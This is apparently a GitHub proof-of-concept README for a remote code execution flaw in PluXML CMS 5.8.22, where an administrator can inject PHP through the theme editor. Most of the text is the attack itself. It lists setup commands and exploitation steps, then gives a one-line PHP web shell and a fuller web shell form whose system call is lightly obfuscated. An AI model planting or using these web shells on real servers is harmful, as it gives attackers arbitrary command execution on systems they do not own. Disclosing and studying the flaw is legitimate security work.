rajchowdhury240/cve-2025-67435A critical Remote Code Execution (RCE) vulnerability has been identified in PluXML CMS version 5.8.22. This vulnerability allows authenticated administrators to execute arbitrary PHP code on the web server by uploading malicious PHP web shells through the theme editor functionality.
git clone https://github.com/pluxml/PluXml.git
cd PluXml
ddev config --project-type=php --php-version=8.1 --docroot=.
ddev start
Step-by-Step Exploitation
Authentication: Log in to the PluXML administrator panel with valid administrator credentials Navigate to Theme Editor:
Access the administration dashboard
Navigate to: Themes → Home.php → Edit
Inject Malicious Payload:
Replace the existing content in home.php with a PHP web shell
Example payload: <?php system($_GET['cmd']); ?>
Save the modified file
Trigger Execution:
Visit the main home page of the website The injected PHP code executes with web server privileges
Reverse Shell
Payload of webshell
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input
type="TEXT"
name="cmd"
autofocus
id="cmd"
size="80"
>
<input
type="SUBMIT"
value="Execute"
>
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
$func_name = "sys" . "tem";
$func_name($_GET['cmd']);
}
?>
</pre>
</body>
</html>
